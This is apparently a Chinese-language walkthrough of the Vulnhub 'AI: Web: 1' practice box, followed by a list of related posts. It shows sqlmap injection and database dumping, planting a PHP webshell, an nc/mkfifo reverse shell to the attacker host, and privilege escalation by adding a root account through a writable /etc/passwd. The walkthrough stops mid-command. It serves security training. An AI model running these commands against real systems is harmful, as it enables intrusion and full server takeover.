靶机下载地址:AI:Web:1

Description:

Difficulty: Intermediate

Network: DHCP (Automatically assign)

Network Mode: NAT

This box is designed to test skills of penetration tester. The goal is simple. Get flag from /root/flag.txt. Enumerate the box, get low privileged shell and then escalate privilege to root. For any hint please tweet on @arif_xpress

目标是从 /root/flag.txt 获取flag,获得低权限的 shell,然后将权限提升到 root。

实验环境:

攻击机:kali2021(192.168.0.13/24,vmnet0)

靶机:(MAC地址为00:0C:29:93:FE:B3,vmnet0)

信息收集阶段:

靶机IP地址:

nmap -sP 192.168.0.1/24  -oN nmap.sP(得到靶机IP地址为192.168.0.17)

靶机开放端口:

nmap -A 192.168.0.17 -p- -oN nmap.A

发现靶机开放了80端口

接下来访问其网页,查看有没有可用信息,截图如下:

发现Not even Google search my contents!(谷歌浏览器不能查询内容,其实我用的是火狐也不能访问其网站内容)

接下来用御剑扫描此网站目录

网站目录扫描:

这里我使用kali自带网站扫描工具dirb,命令如下:

dirb http://192.168.0.17

看到其他人的渗透过程发现,nikto也可以对网站进行扫描

nikto -h http://10.10.10.34    

由上面的扫描结果可知,存在目录index.html,robots.txt,server-status

访问/robots.txt得知:

访问:/m3diNf0/ 和 /se3reTdir777/uploads/都是forbidden,尝试访问 /se3reTdir777/,界面如下:

在框中输1和2,分别得到:

怀疑存在SQL注入

敏感目录扫描

m3diNf0 目录

发现http://192.168.0.17/m3diNf0/info.php

访问得知:

我们找到了站点在服务器的绝对路径

DOCUMENT_ROOT /home/www/html/web1x443290o2sdf92213

漏洞映射

SQL注入:

这里采用sqlmap工具注入方法:

sqlmap注入:

首先对此网页抓包,看有没有可用参数(发现uid和Operation)

①  sqlmap -u "http://192.168.0.17/se3reTdir777/" --data "uid=1&Operation=Submit",发现存在SQL注入,且可用以下方法注入

②爆数据库名: sqlmap -u "http://192.168.0.17/se3reTdir777/" --data "uid=1&Operation=Submit" --current-db
得知当前数据库为aiweb1

③爆表名: sqlmap -u "http://192.168.0.17/se3reTdir777/" --data "uid=1&Operation=Submit" -D "aiweb1" --tables
发现存在user和systemUser表

④爆user表字段(sqlmap -u "http://192.168.0.17/se3reTdir777/" --data "uid=1&Operation=Submit" -D "aiweb1" -T "user" --dump)

⑤爆systemUser表字段(sqlmap -u "http://192.168.0.17/se3reTdir777/" --data "uid=1&Operation=Submit" -D "aiweb1" -T "systemUser" --dump)
弹出来的两个提示都填N

Database: aiweb1
Table: systemUser
[3 entries]
+----+----------------------------------------------+-----------+
| id | password                                     | userName  |
+----+----------------------------------------------+-----------+
| 1  | RmFrZVVzZXJQYXNzdzByZA==                     | t00r      |
| 2  | TXlFdmlsUGFzc19mOTA4c2RhZjlfc2FkZmFzZjBzYQ== | aiweb1pwn |
| 3  | TjB0VGhpczBuZUFsczA=                         | u3er      |
+----+----------------------------------------------+-----------+

可以看出password字段被base64加密过了,解码后得到原密码,但是服务器的3306端口没有对外开放,也不清楚这用户名和密码意味着什么。暂时还没有利用的点。

之前robots文件还有两个目录,对那两个目录dirb一下,发现m3diNf0目录下有一个info.php,打开一看原来是PHP的配置文件。

现在我们找到了站点在服务器的绝对路径!

/home/www/html/web1x443290o2sdf92213

既然知道了绝对路径当然要试一下sqlmap拿Shell啦,但是网站的绝对路径拿shell失败,终于将绝对路径改为uploads后拿到了shell

注:
sqlmap -u "http://192.168.0.17/se3reTdir777/" --data "uid=1&Operation=Submit" --os-shell(可以利用--os-shell执行系统命令),弹出来的提示分别选4(php),回车,2,/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/(写路径)

现在通过sqlmap就获取到了一个shell(得益于这个目录具有可写权限)

sqlmap写入一句话木马

1、写一句话木马(参考:sqlmap写入一句话木马

2、写入文件

sqlmap -u "http://192.168.0.17/se3reTdir777/" --data "uid=1&Operation=Submit" --file-write ./yjh.php --file-dest /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/shell.php--file-write:去读取文件(当前目录下的yjh.php)
--file-dest:后面加我们向目标写的文件,目标在/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/,我们把这个文件上传到shell.php这个地址
现在我们就在uploads这个命令下写好了shell.php文件

访问192.168.0.17/se3reTdir777/uploads/shell.php发现是一片空白,就说明写成功了!

蚁剑直接连接即可

反弹shell

①kali本地监听:nc -lvvp 6666(或者nc -lnvp)

②蚁剑终端上nc反弹:nc -e /bin/bash 192.168.0.13 6666(发现-e参数不可用)

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.13 6666 >/tmp/f

提权

反弹shell成功后whoami查看是www-data权限,echo $0发现是/bin/sh

进入交互式shell:python -c 'import pty;pty.spawn("/bin/bash")'

思路1、sudo -l(查看有没有一些命令在执行期间有root权限标签没有密码保护——Not found)
发现需要密码

思路2、查看有没有一些具有suid权限的命令

find / -perm -4000 2>/dev/null

发现很多命令在执行期间都有suid权限

查看开放端口:

发现开放了3306端口,但是只有本地能登录

思路3:在交互式shell下输入命令uname -a查看内核版本,当前版本号是4.15.0-58-generic,我们就可以去看一下有没有内核漏洞

searchsploit linux kernel 4.15.0-58-generic,发现没有结果
searchsploit linux kernel 4.15.0,可以看到好几个做本地提权的

我们看看目标环境有没有gcc环境,没有,我们就尽量不要上传.c文件提取

下面的提权过程我不会,参考:AJEST(我的启蒙老师,哈哈哈哈膜拜!)

查看当前用户读写权限

查看当前系统里面具有可写权限的目录有哪些:find / -writable -type d 2>/dev/null
查看哪些文件具有读写权限:find / -writable -type f 2>/dev/null

www-data@aiweb1:/etc$ find / -writable -type d 2>/dev/null
find / -writable -type d 2>/dev/null
/tmp
/run/screen
/run/lock
/run/lock/apache2
/dev/mqueue
/dev/shm
/var/tmp
/var/crash
/var/lib/php/sessions
/var/lib/lxcfs/proc
/var/lib/lxcfs/cgroup
/var/cache/apache2/mod_cache_disk
/proc/1998/task/1998/fd
/proc/1998/fd
/proc/1998/map_files
/home/www/html/web1x443290o2sdf92213
/home/www/html/web1x443290o2sdf92213/se3reTdir777
/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads
/home/www/html/web1x443290o2sdf92213/m3diNf0www-data@aiweb1:/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads$ find / -writable -type f 2>/dev/null

将find查询结果保存: find / -writable -type f 2>/dev/null > /tmp/writableFiles
我们在蚁剑的/tmp目录就可以看到writableFiles文件,download下来

wc -l writableFiles 可以看到这个文件有5932行

过滤有用文件(下面我看不太懂)
cat writableFiles | grep '^/[^p]' | grep '^/[^s],过滤掉以p和s开头的文件

www-data@aiweb1:/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads$ grep "^/[^proc]" writableFiles | grep '^/[^s]'
<ads$ grep "^/[^proc]" writableFiles | grep '^/[^s]'
/tmp
/dev/mqueue
/dev/shm
/var/tmp
/var/crash
/var/lib/php/sessions
/var/lib/lxcfs/proc
/var/lib/lxcfs/cgroup
/var/cache/apache2/mod_cache_disk
/home/www/html/web1x443290o2sdf92213
/home/www/html/web1x443290o2sdf92213/se3reTdir777
/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads
/home/www/html/web1x443290o2sdf92213/m3diNf0
/var/backups/passwd.bak
/home/www/html/web1x443290o2sdf92213/robots.txt
/home/www/html/web1x443290o2sdf92213/se3reTdir777/index.php
/home/www/html/web1x443290o2sdf92213/se3reTdir777/c0nFil3bd.php
/home/www/html/web1x443290o2sdf92213/se3reTdir777/jquery-1.7.2.js
/home/www/html/web1x443290o2sdf92213/se3reTdir777/style-main.css
/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/shell.php
/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/writableFiles
/home/www/html/web1x443290o2sdf92213/m3diNf0/info.php
/home/www/html/web1x443290o2sdf92213/index.html
/etc/passwd-
/etc/passwd

觉得c0nFil3bd.php这个文件可疑,看看是什么

我们还发现/etc/passwd文件,具有写权限

可以添加waffle::0:0:root:/root:/bin/bash,这个账号是没有密码的,但是sudo发现密码验证失败,我们就去生成一个密码:

生成Linux 系统用户密钥

┌──(root												

Vulnhub靶机渗透之 AI: Web: 1相关推荐

  1. [网络安全自学篇] 六十五.Vulnhub靶机渗透之环境搭建及JIS-CTF入门和蚁剑提权示例(一)

    这是作者的网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您们喜欢,一起进步.前文分享了SMBv3服务远程代码执行漏洞(CVE-2020-0796),攻击者可 ...

  2. [网络安全自学篇] 七十五.Vulnhub靶机渗透之bulldog信息收集和nc反弹shell(三)

    这是作者网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您喜欢,一起进步.前文分享了APT攻击检测溯源与常见APT组织的攻击案例,并介绍防御措施.这篇文章将讲 ...

  3. Vulnhub靶机渗透学习——DC-9

    本文仅个人学习所做笔记,仅供参考,有不足之处请指出! vulnhub靶机 vulnhub是个提供各种漏洞平台的综合靶场,可供下载多种虚拟机进行下载,本地VM打开即可,像做游戏一样去完成渗透测试.提权. ...

  4. 【VulnHub靶机渗透】三:Billu_b0x

    VulnHub是一个安全平台,内含众多渗透测试的靶场镜像,只需要下载至本地并在虚拟机上运行,即可得到一个完整的渗透测试练习系统,每一个靶机都有相关目标去完成(万分感谢提供靶机镜像的同学). 文章目录 ...

  5. 【VulnHub靶机渗透】一:BullDog2

    在网上各位大佬WriteUp的帮助下,成功完成了第一次完整的靶机渗透测试(大佬NB!),现将详细过程及原理做简单整理. 文章目录 简介 渗透步骤 1.主机发现.端口扫描 2.Web扫描.漏洞发现 3. ...

  6. Vulnhub靶机渗透之 RAVEN: 1

    目录 Description 网卡信息 信息收集 主机发现 主机存活扫描 端口扫描 网站信息 网站首页 nikto 报告 service 页面 wordpress 渗透过程 SSH 爆破 Hydr 命 ...

  7. Vulnhub靶机渗透之Me and My Girlfriend

    本专栏是笔者的网络安全学习笔记,一面分享,同时作为笔记 前文链接 WAMP/DVWA/sqli-labs 搭建 burpsuite工具抓包及Intruder暴力破解的使用 目录扫描,请求重发,漏洞扫描 ...

  8. vulnhub 靶机渗透:Stapler

    Stapler nmap扫描 21 端口 22 53端口 80端口 目录爆破 139端口 666 端口 3306端口 12380端口 获取数据库root权限 获取系统立足点 提权 其他思路 系统立足点 ...

  9. Vulnhub靶机渗透测试——DC-3

    一.实验环境 攻击机(kali): 192.168.189.148 靶机(ubuntu16.04): 192.168.189.182 靶机下载地址:https://www.vulnhub.com/en ...

最新文章

  1. 关于嵌入式开发,到底需要会多少门语言,做好准备了吗
  2. 华为鸿蒙一再延期,华为P50再次延期,鸿蒙系统正式版加持,有望与新平板一同登场...
  3. 从零开始实现ASP.NET Core MVC的插件式开发(三) - 如何在运行时启用组件
  4. k8s源码分析 pdf_rook源码分析之一:rook架构解析
  5. powerdesign 缩写AK,PK,IX,CK,FK,DF,UQ
  6. 四合一图床HTML网站源码
  7. 【软件测试】白盒测试的条件覆盖标准强于判定覆盖(错)
  8. TensorFlow人工智能入门教程之十一 最强网络DLSTM 双向长短期记忆网络(阿里小AI实现)...
  9. python机器学习案例系列教程——集成学习(Bagging、Boosting、随机森林RF、AdaBoost、GBDT、xgboost)
  10. Fermi架构专业卡登陆苹果Mac Pro
  11. 逻辑程序设计语言Prolog
  12. 图文详解如何从win8/8.1中文版(核心版)升级到win8/8.1专业版
  13. 自学python 经验学习心得分享
  14. miui11稳定版获取完整root_怎么获取root权限-MIUI11系统开启系统ROOT权限图文教程-支持小米红米全部机型...
  15. 文件模式为 rw-r r linux,在Linux中,file.sh文件的权限为-rw-r--r-
  16. 游戏音效制作需要哪些要求
  17. CMD命令查看WiFi密码
  18. alsa 麦克风采集音频
  19. 用setTimeout来实现setInterval
  20. 20210703-vue在Mac上的安装和初始化及遇到的问题

热门文章

  1. 基于.Net Remoting的项目总结报告
  2. One-shot Learning with Memory-Augmented Neural Networks
  3. HDFS数据定时采集demo 简单
  4. JUnit中@Test的运行顺序
  5. sphinx在window下和linux下加入开机自启动
  6. 回溯算法超详细讲解(附代码)
  7. Python学习:模块
  8. Python学习笔记:面向对象高级编程(中上)
  9. 操作系统安装与优化:chapter8 虚拟机
  10. 二十万字C/C++、嵌入式软开面试题全集宝典三